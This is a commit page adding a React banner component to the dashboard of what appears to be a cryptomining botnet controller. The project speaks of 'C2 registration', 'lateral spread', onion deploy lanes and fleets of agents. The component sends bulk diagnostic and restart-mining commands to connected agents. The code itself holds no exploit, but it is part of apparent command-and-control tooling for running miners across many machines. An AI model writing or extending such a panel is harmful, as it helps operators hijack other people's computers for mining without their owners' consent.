Add simple Deploy and Mine path for operators without spread complexity.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.
This commit is contained in:
70
server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx
Normal file
70
server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx
Normal file
@@ -0,0 +1,70 @@
|
||||
import { Link } from 'react-router-dom';
|
||||
import type { Agent } from '../../types';
|
||||
import { agentsConnectedNotHashing, simpleDeployStatus } from '../../help/simpleDeploy';
|
||||
import { api } from '../../api/client';
|
||||
|
||||
interface Props {
|
||||
agents: Agent[];
|
||||
selectedIds?: Set<string>;
|
||||
onAction?: (message: string) => void;
|
||||
}
|
||||
|
||||
/** Banner when agents are online but not hashing — with actionable fix buttons. */
|
||||
export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
|
||||
const stuck = agentsConnectedNotHashing(agents);
|
||||
if (stuck.length === 0) return null;
|
||||
|
||||
const targetIds =
|
||||
selectedIds && selectedIds.size > 0
|
||||
? stuck.filter((a) => selectedIds.has(a.id)).map((a) => a.id)
|
||||
: stuck.map((a) => a.id);
|
||||
|
||||
const runBulk = async (action: string, label: string) => {
|
||||
if (targetIds.length === 0) {
|
||||
onAction?.(`No selected online agents without hashrate.`);
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const r = await api.sendBulkCommand(targetIds, action);
|
||||
onAction?.(`${label} → sent:${r.sent} failed:${r.failed}`);
|
||||
} catch (e) {
|
||||
onAction?.(`${label} failed: ${e instanceof Error ? e.message : String(e)}`);
|
||||
}
|
||||
};
|
||||
|
||||
const sample = stuck[0];
|
||||
const status = simpleDeployStatus(sample);
|
||||
|
||||
return (
|
||||
<div className="alert-banner alert-banner--warn connected-not-mining-banner" role="status">
|
||||
<div>
|
||||
<strong>
|
||||
{stuck.length} agent{stuck.length === 1 ? '' : 's'} connected — not hashing
|
||||
</strong>
|
||||
<p className="form-hint" style={{ margin: '0.35rem 0 0' }}>
|
||||
{status.message}. "Deploy" here means C2 registration + mining tier probe — not lateral spread.
|
||||
Check Calibrate wallet/pool, then run diagnostics or restart mining.
|
||||
</p>
|
||||
</div>
|
||||
<div className="connected-not-mining-actions">
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-sm btn-primary"
|
||||
onClick={() => void runBulk('mining_diagnostics', 'Mining diagnostics')}
|
||||
>
|
||||
Run diagnostics
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-sm btn-outline"
|
||||
onClick={() => void runBulk('restart', 'Restart mining')}
|
||||
>
|
||||
Restart mining
|
||||
</button>
|
||||
<Link to="/forge" className="btn btn-sm btn-outline">
|
||||
Re-forge (Deploy & Mine)
|
||||
</Link>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
Reference in New Issue
Block a user